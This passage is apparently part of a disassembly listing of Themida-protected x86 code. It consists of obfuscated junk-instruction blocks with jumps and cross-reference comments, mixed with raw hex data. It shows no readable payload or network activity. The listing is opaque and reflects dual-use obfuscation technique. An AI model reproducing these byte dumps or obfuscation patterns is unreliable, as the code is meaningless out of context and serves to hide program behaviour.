4C4h, 2BD5500h, 0E9000000h, 13B4Ah, 0C281E289h dd 4, 8704EA83h, 895C2414h, 0EC83242Ch, 24248904h, 1474FE9h dd 2434FF00h, 0E1D8E9h db 0 ; --------------------------------------------------------------------------- loc_542A85: ; CODE XREF: Themida_:00557216j sub edx, 41720201h mov esi, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] jmp loc_54DC08 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFFC68h, 0C381C301h, 337B4EF0h, 4490BD55h, 63E90C9Fh dd 0B8000054h, 4, 7A9E9h db 0 ; --------------------------------------------------------------------------- loc_542AC1: ; CODE XREF: Themida_:0054758Ej mov [esp], ebx jmp loc_55754B ; --------------------------------------------------------------------------- loc_542AC9: ; CODE XREF: Themida_:00547C78j and edx, esi pop esi sub edx, 525A7756h shl edx, 7 shr edx, 8 xor edx, 0DBC55Dh add ebp, edx pop edx xchg ebp, [esp] mov esp, [esp] push ecx mov ecx, 4 add ebx, 4CCC5F16h add ebx, ecx jmp loc_54A906 ; --------------------------------------------------------------------------- dw 0C780h dd 80E7282Ch, 48B2CEFh, 4C48324h, 1C8BFE30h, 4C48324h dd 4EC81h, 4890000h, 4EC8324h, 50241489h, 70E974B4h db 98h, 2 dup(0) ; --------------------------------------------------------------------------- loc_542B27: ; CODE XREF: Themida_:0054AE7Ej mov ch, 4Eh sub dh, ch jmp loc_543C5C ; --------------------------------------------------------------------------- loc_542B30: ; CODE XREF: Themida_:00546612j pop ecx jmp loc_55036E ; --------------------------------------------------------------------------- aISor db 'ˆÕéoà',0 dd 59EB3000h, 0E9F8E9h db 0 ; --------------------------------------------------------------------------- loc_542B45: ; CODE XREF: Themida_:0054D005j pop ebp add edi, 640A0588h add edi, ebx sub edi, 640A0588h pop ebx jmp loc_5536B2 ; --------------------------------------------------------------------------- dw 0ADE9h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542B5F: ; CODE XREF: Themida_:0054EBD2j pop esp mov [esp], ebx mov ebx, 758410E6h sub ebx, 6087DE53h push eax push 363712A1h mov eax, [esp] add esp, 4 add eax, 52751A0Bh push edx mov edx, 634315A6h sub eax, edx pop edx add ecx, 13F620FAh add ecx, 6BC4678Dh sub ecx, eax sub ecx, 6BC4678Dh jmp loc_5544F7 ; --------------------------------------------------------------------------- dd 241C8B54h, 11B0E9h, 0C1959500h, 0D0F705E0h, 32B95155h dd 8156C375h, 3EF34DC1h, 9725E9F8h, 248B0000h, 24348924h dd 77F2E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_542BD2: ; CODE XREF: Themida_:0055184Bj mov edx, esp add edx, 4 jmp loc_550DB3 ; --------------------------------------------------------------------------- db 81h dd 483C74C3h, 8BDE01C2h, 0C481241Ch, 4, 57BA68h, 24348900h dd 131ACE9h, 2474FF00h, 24048B04h, 0E904C483h, 7EFCh, 0ED2FA6B8h dd 2A556811h, 2C890000h, 62B3BD24h, 0B95158B9h, 126B5F5Ch dd 2B25EB81h, 0CB2934A3h, 2B25C381h, 0C8B34A3h, 7F43E924h dd 8F5B0000h, 895C2404h, 6853240Ch, 61691AD8h, 64C7E95Bh dd 0EC830000h, 242C8904h, 37C1E9h db 0 ; --------------------------------------------------------------------------- loc_542C59: ; CODE XREF: Themida_:00547D45j xor ebx, 3A5DFA02h sub eax, ebx jmp loc_5486E7 ; --------------------------------------------------------------------------- loc_542C66: ; CODE XREF: Themida_:0054CAAAj add esp, 4 xchg ebx, [esp] mov esp, [esp] mov cx, [esp] push edi jmp loc_55476C ; --------------------------------------------------------------------------- dd 8159CE29h, 0FE03D7E6h, 0DAEE8161h, 0E95CE216h, 0A5CEh ; --------------------------------------------------------------------------- loc_542C90: ; CODE XREF: Themida_:00548C3Cj push ecx mov ecx, 7851FB3h jmp loc_5463B3 ; --------------------------------------------------------------------------- aISs db 'ˆêéáÙ',0 align 2 dw 4E68h dd 0E900001Ah, 114B2h, 592434FFh, 4C481h, 0BD550000h, 2F7E6766h dd 55F7F581h, 0DDF71346h, 2E46F581h, 0E58104A0h, 592615F0h dd 0DD7EED81h, 0E8012D90h, 7AC4E9h, 56BB5300h, 0E906FD14h dd 6700h ; --------------------------------------------------------------------------- loc_542CE8: ; CODE XREF: Themida_:00555A0Bj shr esi, 7 and esi, 7D896014h sub esi, 0F441D1F6h sub ebp, esi pop esi pop esi xchg ebp, [esp] mov esp, [esp] shr ecx, 0Bh jmp loc_54BC5E ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 4ECh, 240C8900h, 0BB53E189h, 4, 525BD901h dd 91740DBAh, 56E2D10Fh, 8C27EFBEh, 81DEF778h, 7101AAC6h dd 11A3E92Eh, 0E2080000h, 0CEEA8058h, 0D028DB2Ch, 0CCE9DB04h db 3, 1, 0 ; --------------------------------------------------------------------------- loc_542D4F: ; CODE XREF: Themida_:00543720j pop eax and eax, edx mov edx, [esp] add esp, 4 or eax, eax jz loc_552536 push dword ptr [edi+1Ch] jmp loc_55154A ; --------------------------------------------------------------------------- loc_542D68: ; CODE XREF: Themida_:005444FCj not ecx xor ecx, 62A135DEh neg ecx xor ecx, 46F0148Eh jmp loc_54C5FE ; --------------------------------------------------------------------------- db 0BDh, 0F8h, 1Eh dd 0E5C1681Bh, 0B5F58104h, 814A5213h, 0CC5ABBCDh, 0BBF58120h dd 2DEBEFFEh, 51712EBDh, 0CC2DE9h db 0 ; --------------------------------------------------------------------------- loc_542DA1: ; CODE XREF: Themida_:0054F94Cj add ecx, ebx add ecx, 61BC7A41h push edi mov edi, 20930BCDh jmp loc_55588D ; --------------------------------------------------------------------------- dd 4C781h, 3C870000h, 0BF575C24h, 4, 289CE9h, 243C8B00h dd 11311E9h, 4E98100h, 87000000h, 895C240Ch, 14F72414h dd 91CBE924h, 8B660000h, 54512404h, 0E9240C8Bh, 4D8Dh dd 0CE88D988h, 0B14E959h, 815B0001h, 4C4h, 76E98100h, 81238538h dd 53456AE9h, 0E9F90156h, 7C7Dh, 5ABBEE81h, 0D6016FDCh dd 1226EE9h, 5FEA8100h, 0E930FC79h, 33F6h, 0C2E9C231h db 0E1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_542E37: ; CODE XREF: Themida_:00545464j sub esi, ebx add esi, 335A140Ah pop ebx jmp loc_555CD4 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0BA241489h, 40627E84h, 8245401h, 6824148Bh, 688Bh, 59EFE9h dd 89665C00h, 5BE9240Ch, 0BF000124h, 5E752B83h, 4161C781h dd 17E935CBh, 0BB000042h, 0 dd 0D987CB29h, 6DF1815Bh, 31F4DB27h, 0B6E1E9CFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_542E92: ; CODE XREF: Themida_:0054C1DCj pop ecx mov ax, [esp] jmp loc_5449E4 ; --------------------------------------------------------------------------- dd 4BEh, 10990500h, 0F0015292h, 9210992Dh, 37685E52h, 89000024h dd 0F0E9243Ch, 6600012Ch, 8124048Bh, 4ECh, 241C8900h, 0BF57E389h dd 4, 756CC381h, 0FB0134CBh, 756CEB81h, 0E95F34CBh, 717Ch dd 0E924248Bh, 0FFFFF820h, 68D831ADh, 6FB7h, 68243C89h dd 4C01h, 0BB241C89h, 78C54FE0h, 353AE9h, 0BFF18100h, 0C1249F0Bh dd 0C18107E1h, 0E9916D8h, 18D1E9h, 7CC4BA00h, 3E9171Ch dd 5F0000CFh, 6E9768h, 24048900h, 3350E956h, 0F7810001h dd 0F783640h, 8883BE5Dh, 0FE29D293h, 0E732E9h, 81CD2900h dd 5235E1C5h, 0AB2E917h db 2 dup(0) ; --------------------------------------------------------------------------- loc_542F56: ; CODE XREF: Themida_:005552AEj mov eax, 71BE6520h xor eax, 7E594F54h jmp loc_545AEC ; --------------------------------------------------------------------------- loc_542F65: ; CODE XREF: Themida_:00543F6Aj mov ebp, [esp] jmp loc_54815A ; --------------------------------------------------------------------------- aWss db 'Wé™Ü',0 dw 0B800h dd 4, 8158C201h, 4C2h, 24148700h, 3232E95Ch, 89520001h dd 76BE9E2h, 0C1810000h, 0FB136FB3h, 5A59CE29h, 5604C683h dd 42474FFh, 24048F5Eh, 4C4815Ch, 66000000h, 5000B60Fh dd 405E089h, 2D000000h, 4, 0E9240487h, 4D67h, 0FFF73FE9h db 0FFh ; --------------------------------------------------------------------------- loc_542FCD: ; CODE XREF: Themida_:0054B353j mov [esp], esi mov esi, 42677D3Ah xor esi, 4A2532D1h push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi push ebx mov ebx, 558479Bh mov edi, 4443B9EBh sub edi, ebx pop ebx sub esi, 5A527D45h add esi, 3DC109CAh add esi, edi jmp loc_5564D0 ; --------------------------------------------------------------------------- dw 4BFh dd 53000000h, 0A300EBBBh, 5BD9010Ah, 2A6AE981h, 0F9011F95h dd 2A6AC181h, 0EC831F95h, 24348904h, 7EE4E9h, 5DDDBA00h dd 0E281506Eh, 62A462FEh, 0E281DAF7h, 359C0473h, 0D44DE9h db 0 ; --------------------------------------------------------------------------- loc_543051: ; CODE XREF: Themida_:005488EBj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push 5D71h jmp loc_556FA2 ; --------------------------------------------------------------------------- dd 9C2424D3h, 0FFF693E9h, 0C48359FFh, 4EC8304h, 0A556E9h dd 5BDD0100h, 34FFE821h, 0C544E924h, 9A040000h, 9A2CD000h dd 149DCE9h, 61C18100h, 8141194Bh, 0CEB761C1h, 2B5EE9C2h dd 0E95A0001h, 0A6AFh, 67E9A82Ch, 81000134h, 2C3h, 74FF5300h dd 0E5E90424h, 8B0000B8h, 0C4812404h, 4, 5C241C87h, 240C8966h dd 59F8E9h, 4C48300h, 0E904EC83h, 12986h, 55FF801h, 0BDF09C6h dd 0C9E9F801h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5430FB: ; CODE XREF: Themida_:00544A82j add esp, 4 pop dword ptr [esp] pop esp add edi, ebx jmp loc_5444B6 ; --------------------------------------------------------------------------- loc_54310C: ; CODE XREF: Themida_:00549945j mov edi, 37F5395Eh sub edi, 499C080Ah shl edi, 5 jmp loc_5499BF ; --------------------------------------------------------------------------- loc_54311F: ; CODE XREF: Themida_:0054CD5Cj add ebp, ecx jmp loc_54DA25 ; --------------------------------------------------------------------------- loc_543126: ; CODE XREF: Themida_:0054B40Cj add bl, al push 3F2Ah mov [esp], ecx mov cl, 47h sub bl, cl jmp loc_5550C6 ; --------------------------------------------------------------------------- db 0C1h, 0E9h, 8 dd 7D6CF181h, 0EE81006Ah, 315E0A29h, 67A6C681h, 0CE017B67h dd 0E155E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543156: ; CODE XREF: Themida_:00545ACDj mov [esp], eax push ecx mov ecx, 32CA2184h mov eax, 32CA2186h xor eax, ecx pop ecx add edi, eax pop eax jmp loc_5558E7 ; --------------------------------------------------------------------------- db 89h dd 2434FFCBh, 0C88EE959h, 0CFF0000h, 89E99C24h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_543183: ; CODE XREF: Themida_:0055395Fj push 3937h mov [esp], ebp jmp loc_546476 ; --------------------------------------------------------------------------- dd 0E92434FFh, 100F7h ; --------------------------------------------------------------------------- loc_543198: ; CODE XREF: Themida_:00544CB6j xor edi, eax mov eax, [esp] add esp, 4 jmp loc_54B2A9 ; --------------------------------------------------------------------------- db 80h, 0F6h, 88h dd 0C4E7E9h db 0 ; --------------------------------------------------------------------------- loc_5431AD: ; CODE XREF: Themida_:005485BCj pop edx sub ax, bp mov bp, [esp] add esp, 2 jmp loc_55046F ; --------------------------------------------------------------------------- loc_5431BD: ; CODE XREF: Themida_:00543524j add ebx, edx jmp loc_55655A ; --------------------------------------------------------------------------- dd 0F66E95Eh, 0EC880001h, 6F90E959h, 0E95B0000h, 5AB0h dd 53BFE480h, 0EFD089B7h, 0C046B252h, 0CAFE06EAh, 0EA80D2F6h dd 5AD728C2h, 135A0E9h db 0 ; --------------------------------------------------------------------------- loc_5431F5: ; CODE XREF: Themida_:0054A13Bj pop edx and eax, ebx jmp loc_544E96 ; --------------------------------------------------------------------------- loc_5431FD: ; CODE XREF: Themida_:0054FD1Ej mov esi, esp add esi, 4 add esi, 4 jmp loc_550C74 ; --------------------------------------------------------------------------- dd 89D88950h, 1C8B58C2h, 4C48124h, 0E9000000h, 11564h ; --------------------------------------------------------------------------- loc_543224: ; CODE XREF: Themida_:00548447j pop esp mov [esp], esi mov esi, esp push edi mov edi, 3AD2359Ch sub edi, 3AD23598h add esi, edi mov edi, [esp] add esp, 4 sub esi, 4 xchg esi, [esp] jmp loc_553B82 ; --------------------------------------------------------------------------- aWGhA db ',w,ƒhìa',0 dd 24148900h, 70B25251h, 8006E2C0h, 0B55186E2h, 0DADFE977h dd 0C6010000h, 74FF5658h, 21E90424h, 5A000025h, 5966E800h dd 68C3305Bh, 516Dh, 89242C89h, 4C581E5h, 68000000h, 3CC8h dd 0B8240489h, 4, 8758C529h, 248B242Ch, 241C8924h, 5A4BA52h dd 6FE9687Ah db 79h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5432B3: ; CODE XREF: Themida_:00545C5Fj jmp loc_54270C ; --------------------------------------------------------------------------- loc_5432B8: ; CODE XREF: Themida_:00556052j pop eax jmp loc_551B95 ; --------------------------------------------------------------------------- dw 0C681h dd 3D6053E9h, 4BB2E681h, 0DEF70BB7h, 0DA9DF681h, 0BC2DDCF7h dd 0E9495E76h, 127Fh, 81E78957h, 4C7h, 0BB535600h, 6EC0FC3h dd 525BDE89h, 1A6FE9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 31EA0202h inc ecx add ecx, 0CE15FE01h add ebp, ecx pop ecx push 71CFh mov [esp], edx jmp loc_55797A ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 0E9000000h, 3956h, 42474FFh, 24048F58h, 0D5EAE95Ch dd 0E9550000h, 0FFFFF507h, 0FFF3D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_543339: ; CODE XREF: Themida_:0054E930j pop ebx jmp loc_54725F ; --------------------------------------------------------------------------- loc_54333F: ; CODE XREF: Themida_:005441F7j add eax, 48B21D78h jmp loc_556E89 ; --------------------------------------------------------------------------- loc_543349: ; CODE XREF: Themida_:0055647Cj add ebx, 479575DFh push eax mov eax, 7C5BA76Bh add ebx, eax jmp loc_556C32 ; --------------------------------------------------------------------------- db '\h]',7,0 align 2 dw 3C89h dd 1C766824h, 4F5F4C9Fh, 0E38FB951h, 0C781B360h, 53E35AC0h dd 0B0B1E9h db 0 ; --------------------------------------------------------------------------- loc_54337D: ; CODE XREF: Themida_:0054FD3Ej pop esi jmp loc_5565CF ; --------------------------------------------------------------------------- db 81h dd 616BD0C2h, 243C8B0Fh, 3A29E9h db 0 ; --------------------------------------------------------------------------- loc_543391: ; CODE XREF: Themida_:0055549Aj shr eax, 2 shl eax, 8 add eax, 51862ABFh and eax, 3D875204h not eax xor eax, 39299A08h xor ecx, eax pop eax and eax, ecx jmp loc_552ED7 ; --------------------------------------------------------------------------- dw 505Ch dd 0BF57E089h, 4, 105AEE9h, 42E95800h, 810000F8h, 6B7519E9h dd 81F1016Ch, 6B7519C1h, 6EBF576Ch, 52061D7Bh, 0E03BE9h dd 24048F00h, 48B665Ch, 0E3895324h, 777FBF57h, 0E78133A6h dd 54D902A5h, 0EFC1EFD1h, 0CD3BE908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543402: ; CODE XREF: Themida_:0054547Aj shl eax, 1 push esi mov esi, 63D87559h jmp loc_54A225 ; --------------------------------------------------------------------------- db 66h dd 5524048Bh, 4EC81h, 8F540000h, 0ECE92404h, 8900003Ch dd 0E789243Ch, 4C781h, 0BA520000h, 6A296FADh, 0E1E9E2D1h dd 8100010Dh, 0AF7048C5h, 0E9E90164h, 0AC60h, 5F5FF801h dd 0E9E18951h, 1069Eh, 1697E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54345A: ; CODE XREF: Themida_:00545C9Cj shr ecx, 2 push 12FBh jmp loc_5443A9 ; --------------------------------------------------------------------------- db 1 dd 58042444h, 0E924048Fh, 0CBBEh, 5266C0FEh, 38E943B2h dd 0B80000B8h, 38800866h, 0D0F7D0F7h, 3767E9h, 3886800h dd 1C890000h, 803DB324h, 0D3F616EBh, 0AE21E9h, 62623500h dd 0A20D3ACBh, 25216C05h, 60AB72C1h, 0B6E6E9h db 0 ; --------------------------------------------------------------------------- loc_5434B5: ; CODE XREF: Themida_:0055343Ej mov ebp, [esp] add esp, 4 add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_5563A8 ; --------------------------------------------------------------------------- loc_5434CF: ; CODE XREF: Themida_:005546C6j xchg esi, [esp] pop esp push ebx push esp pop ebx jmp loc_556B80 ; --------------------------------------------------------------------------- db 89h dd 1BD242Ch, 81000000h, 0D46F5CEBh, 12E95611h, 0F7000052h dd 3357E9D3h, 6F2C0001h, 125D3E9h db 0 ; --------------------------------------------------------------------------- loc_5434FD: ; CODE XREF: Themida_:00555D5Fj pop esi add ebx, edi push 6C6Bh mov [esp], edx mov edx, 65FA2E76h and edx, 7351508Dh dec edx xor edx, ebx xor ebx, edx xor edx, ebx not ebx xchg ebx, edx add edx, 0D4F65BADh jmp loc_5431BD ; --------------------------------------------------------------------------- db 57h, 0BFh, 4 dd 1000000h, 4A685FFAh, 8900002Bh, 0BE56241Ch, 10603F0Fh dd 43A7EE81h, 814E5C91h, 0FF4202EEh, 6E68104h, 810D1226h dd 61A89CEEh, 0FB7E9DBh, 0C4810000h, 4, 4C481h, 0D2E90000h dd 0BF000019h, 5D471E90h, 8107E7C1h, 287499F7h, 3E7C164h dd 52DABA52h, 0EA81444Bh, 78EB3382h, 9EF7E9h, 30B15100h dd 1B5E9h, 5DEB0900h, 0E951DBF7h, 97E0h, 0C0FCEE80h, 0EE8006EEh dd 5AF088EAh, 0FE04E8C0h, 0FEC0FEC0h, 0BC1AE9C0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5435BE: ; CODE XREF: Themida_:0054CA81j pop ecx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_554D25 ; --------------------------------------------------------------------------- loc_5435D3: ; CODE XREF: Themida_:0054A388j mov ebp, [esp] add esp, 4 jmp loc_54461F ; --------------------------------------------------------------------------- loc_5435DE: ; CODE XREF: Themida_:005474E3j mov eax, 9F72D8Bh neg eax add eax, 23C606Dh jmp loc_544EF7 ; --------------------------------------------------------------------------- db 59h dd 2816B753h, 0F8005BF8h, 11C71E9h, 4C18300h, 5C240C87h dd 13C4EE9h db 0 ; --------------------------------------------------------------------------- loc_543609: ; CODE XREF: Themida_:0054FE25j mov edi, [esp] add esp, 4 jmp loc_555198 ; --------------------------------------------------------------------------- loc_543614: ; CODE XREF: Themida_:00555629j mov cl, 0AEh add ah, cl pop cx sub bl, ah jmp loc_548BC4 ; --------------------------------------------------------------------------- db 0BBh, 0ADh, 1Bh dd 0DF291092h, 1359CE9h db 0 ; --------------------------------------------------------------------------- loc_54362D: ; CODE XREF: Themida_:0055286Bj push ecx mov ch, 72h sub bl, 80h add bl, ch add bl, 80h pop ecx add bl, al jmp loc_548243 ; --------------------------------------------------------------------------- dd 4B9h, 244C0100h, 34FF5904h, 0AA0BE924h, 0B0500000h dd 2C2B0468h, 8EEB808Fh, 3BF3E9h, 6F38100h, 810FD655h dd 0F6471BC3h, 9177E9DFh, 0BD550000h, 4, 7C7DE9h, 2346BB00h dd 0FBE1A3Ah, 2990358Ah, 0E2E95BDEh, 2D00011Eh, 383ED7h dd 0A6C3815Bh, 8111ED2Fh, 477522EBh, 52C3291Ah, 787EBF57h dd 1BE90B98h, 5C0000E1h, 0D092E9h, 815F5400h, 4C7h, 4B85000h dd 1000000h, 0FF5758C7h, 8B042474h, 0C481243Ch, 4, 5C24048Fh dd 4C481h, 68550000h, 6C81h, 138F8E9h, 0F01EE900h, 2C8BFFFFh dd 4C48124h, 52000000h, 0F4C6E9h, 4C28100h, 83000000h dd 148704C2h, 0FC4EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54370E: ; CODE XREF: Themida_:0054C9AFj pop ecx add esp, 4 sub edx, 10BD3724h sub edx, eax add edx, 10BD3724h jmp loc_542D4F ; --------------------------------------------------------------------------- db 0C1h, 0E3h, 3 dd 1B850h, 0C3010000h, 0C3814358h, 321BE70Ch, 2467BA52h dd 0DAF70FE0h, 0FAAFF281h, 0D701C58Bh, 8274E95Ah, 0E9530000h dd 10999h ; --------------------------------------------------------------------------- loc_543754: ; CODE XREF: Themida_:0054AC73j sub ebx, 3F173E1Eh jmp loc_549B77 ; --------------------------------------------------------------------------- loc_54375F: ; CODE XREF: Themida_:00555E8Ej push ebx not dword ptr [esp] pop ebx add ebx, 69C34B7h sub edx, ebx jmp loc_5579D0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_546D00 ; --------------------------------------------------------------------------- loc_543779: ; CODE XREF: Themida_:00555F86j add esp, 4 push ebx mov ebx, 0 add ebx, ecx jmp loc_546752 ; --------------------------------------------------------------------------- db 0BAh, 2 dup(0FFh) dd 0D629FFFFh, 4EEC15Ah, 0FFFFB951h, 0CE29FFFFh, 86AEE9h db 0 ; --------------------------------------------------------------------------- loc_5437A1: ; CODE XREF: Themida_:0054AFFFj add ecx, edi pop edi add ecx, 27156985h push edx push edi mov edi, 629C4E09h mov edx, 629C4E09h jmp loc_5480E1 ; --------------------------------------------------------------------------- loc_5437BB: ; CODE XREF: Themida_:0054B5ACj pop esp jmp loc_5557E3 ; --------------------------------------------------------------------------- db 81h, 0F2h, 0B9h dd 0E919CB62h, 9694h, 5504C483h, 0D9A1E9h, 24540100h, 24148B04h dd 0E904C483h, 0FFFFEF28h ; --------------------------------------------------------------------------- loc_5437E4: ; CODE XREF: Themida_:005486E2j dec ecx add ecx, 0C9531F0Ch xor edi, ecx jmp loc_54D375 ; --------------------------------------------------------------------------- dw 0FF50h dd 58042474h, 5C24048Fh, 0E9595451h, 44h, 5BC58159h, 0E956D02Fh dd 43B4h ; --------------------------------------------------------------------------- loc_543810: ; CODE XREF: Themida_:005565C1j add [esp+4], ebp mov ebp, [esp] push 7795h mov [esp], ebp mov ebp, esp jmp loc_555A4B ; --------------------------------------------------------------------------- loc_543826: ; CODE XREF: Themida_:00543BEDj and edx, 8731385h push ebx mov ebx, 0FFFFFFFFh add edx, ebx pop ebx shr edx, 3 jmp loc_54A971 ; --------------------------------------------------------------------------- db 56h, 0BEh, 4 dd 0E9000000h, 69F3h, 4C181h, 33E90000h, 5000085h, 4, 8704C083h dd 15C2404h, 241C8BDAh, 4C481h, 0A0E90000h, 10000EEh, 0FE19E9D8h dd 8340FFFFh, 0D8F701E8h, 2D02E8C1h, 208B3AC1h, 48BC689h dd 0AAE95524h, 8B000118h, 0C4832414h, 0F1C28104h, 0E90E14F2h dd 0FE4Eh, 4C483h, 51C92CD8h, 0C0DEB252h, 0E2C004EAh, 4EC8103h dd 89000000h, 13682404h, 89000008h, 0B6B1240Ch, 2AD7E9h db 0 ; --------------------------------------------------------------------------- loc_5438C9: ; CODE XREF: Themida_:0054B13Cj pop edi xchg ebp, [esp] pop esp mov [esp], eax push esp pop eax push esi jmp loc_54DDFD ; --------------------------------------------------------------------------- db 0BDh, 41h, 4 dd 41BB7E18h, 0E97E1804h, 129A7h ; --------------------------------------------------------------------------- loc_5438E8: ; CODE XREF: Themida_:0054F315j add esp, 4 push esi mov esi, 2D03542Dh add esi, 0D2FCABD7h jmp loc_5563B0 ; --------------------------------------------------------------------------- db 81h dd 23CDEDC2h, 5AD3019Ah, 41E9D901h, 5F000080h, 0A0CE9h dd 408EBA00h, 0EA8114EDh, 87E7D42h, 0C348F281h, 0D0010C6Eh dd 4C0835Ah, 5C240487h, 9831E950h, 0E9550000h, 9D94h ; --------------------------------------------------------------------------- loc_54393C: ; CODE XREF: Themida_:005559D5j pop eax xor ch, 4Ah jmp loc_55721B ; --------------------------------------------------------------------------- loc_543945: ; CODE XREF: Themida_:0054643Ej push ebx mov ebx, 2B3C0Fh sub edx, ebx pop ebx add esi, edx jmp loc_54F7A3 ; --------------------------------------------------------------------------- loc_543955: ; CODE XREF: Themida_:00557763j pop ebp jmp loc_5529FE ; --------------------------------------------------------------------------- loc_54395B: ; CODE XREF: Themida_:00553870j mov [esp], edx jmp loc_5485C1 ; --------------------------------------------------------------------------- loc_543963: ; CODE XREF: Themida_:0054EA88j mov ebx, 4 add ebp, ebx mov ebx, [esp] add esp, 4 push edi mov edi, 4 jmp loc_54B13A ; --------------------------------------------------------------------------- db 81h dd 4C4h, 240C8B00h, 4C481h, 6BE90000h, 0F7000045h, 0C1D2F7D2h dd 0D2F705EAh, 6C88E9h, 4EC8100h, 89000000h, 0E6E92414h dd 8B000127h, 34E9242Ch, 330000C0h, 248B2404h, 24D36624h dd 49E99C24h, 2DFFFFEDh, 6E9711DAh, 4A40A12Dh, 13282D7Ah dd 16052476h, 55C324Eh, 6A570260h, 4EC8152h, 89000000h dd 9768243Ch, 0FF224E56h, 815F2434h, 4C4h, 8EFC100h, 6ACAC781h dd 89502781h, 0E95550F8h, 101F8h, 0E2895259h, 4C281h, 0EA810000h dd 4, 1417E9h, 24348B00h, 5204C483h, 111A7E9h, 74FF5100h dd 1EE90424h, 810000D2h, 713BBDC6h, 33C6813Ch, 0E94B5E75h dd 22CFh, 5004C083h, 42474FFh, 24048F58h, 3324248Bh, 4312404h dd 0FF55E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_543A5E: ; CODE XREF: Themida_:00552CF6j or ebx, esi jmp loc_54506D ; --------------------------------------------------------------------------- db 81h, 0EFh, 0C9h dd 0E92A5650h, 1073Eh ; --------------------------------------------------------------------------- loc_543A70: ; CODE XREF: Themida_:00547D8Ej pop edx push edx mov edx, 6E4433FFh sub edi, edx pop edx add edi, 75127CA5h jmp loc_553E42 ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 0EBh dd 29000103h, 0FF555BDDh, 0E9042474h, 2B5Ah, 0CBFE68B3h dd 0E3C0C3FEh, 0A1EB8002h, 665BD900h, 309BB652h, 805A66F1h dd 0CB2891E9h, 762E9h, 7E84B900h, 0B2684A71h, 8900003Fh dd 29BA2414h, 81213B1Dh, 0AF0B63EAh, 0C53E96Dh, 0F3810000h dd 3E6C66F9h, 3304F381h, 0C3817431h, 5C0D98DEh, 1C8BDE89h dd 0E99DE924h, 0ED810000h, 4145443Bh, 84A6E9h db 0 ; --------------------------------------------------------------------------- loc_543AFD: ; CODE XREF: Themida_:0054FC9Fj sub al, 0A5h jmp loc_549905 ; --------------------------------------------------------------------------- dd 0BE565053h, 178846A6h, 72E9DEF7h, 5B000019h, 0D77CE952h dd 1C330000h, 241C3124h, 8B241C33h, 3D682424h, 89000074h dd 0E189240Ch, 39F3E956h, 4330001h, 24043124h, 108DFE9h dd 81DAF700h, 330AE5C2h, 5AD18973h, 801E9h db 0 ; --------------------------------------------------------------------------- loc_543B51: ; CODE XREF: Themida_:0054EE8Dj sub edx, 49AB7D8Dh xor edx, 56EC34EDh push edi mov edi, 20F31929h not edi inc edi push ebx mov ebx, 2CE67A65h add edi, ebx pop ebx jmp loc_545E03 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 0E904C183h, 0F24Ch, 4BA52h, 0D6010000h dd 0BE36E9h db 0 ; --------------------------------------------------------------------------- loc_543B91: ; CODE XREF: Themida_:0054513Ej add ecx, ebx sub ecx, 3A6A7B7Bh jmp loc_54D369 ; --------------------------------------------------------------------------- dw 4BAh dd 0E9000000h, 5C64h, 71BF5755h, 8116262Ah, 262A75F7h dd 424DE916h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543BBA: ; CODE XREF: Themida_:00553A54j sub esp, 4 mov [esp], esi mov esi, edx push esi sub dword ptr [esp], 5B653D55h jmp loc_549139 ; --------------------------------------------------------------------------- loc_543BD2: ; CODE XREF: Themida_:0054F3B6j xchg eax, [esp] pop esp mov [esp], ebx push 30E8h mov [esp], eax push edi mov edi, 26A61942h push edx mov edx, 54B23445h jmp loc_543826 ; --------------------------------------------------------------------------- loc_543BF2: ; CODE XREF: Themida_:0054D8D7j xchg ebp, [esp] mov esp, [esp] mov [esp], edi push ebx push ecx mov ecx, 64E325DAh jmp loc_550CFB ; --------------------------------------------------------------------------- db 0BAh dd 5A5D363Ch, 4245431h, 45EBE95Ah, 8B660000h, 968240Ch dd 8900000Ch, 3AE9242Ch, 40000A6h, 0F6C8FE20h, 2CC0FED8h dd 0C0D0F65Ch, 0D8F604E8h, 0DCF0E9h, 4406BF00h, 0C1814475h dd 17C2B9Eh, 0E981F901h, 17C2B9Eh, 9FE1815Fh, 0E9003474h dd 125C3h ; --------------------------------------------------------------------------- loc_543C5C: ; CODE XREF: Themida_:00542B2Bj mov cx, [esp] add esp, 2 mov cl, dh pop edx jmp loc_542725 ; --------------------------------------------------------------------------- dw 48Bh dd 4EC8324h, 81242C89h, 4ECh, 24248900h, 4240483h, 5D2434FFh dd 4C481h, 0C5810000h, 4, 10D39E9h, 240C8B00h, 104C483h dd 84C581D5h, 5070CA45h, 3D55D8B8h, 2E8C150h, 170AF335h dd 58C50119h, 5524148Bh, 0C5815D54h, 4, 4C581h, 0CDE90000h dd 0FF000122h, 68533C77h, 5D1977BBh, 245C015Bh, 17ABE904h dd 0E2C10001h, 0FF6EE905h, 0B8500000h, 7D70739Bh, 4244429h dd 3A18E9h, 63055B00h, 29104A16h, 94DE9D8h, 1C870001h dd 1C895C24h, 14B25224h, 119E1E9h, 7902BB00h, 0D8010C80h dd 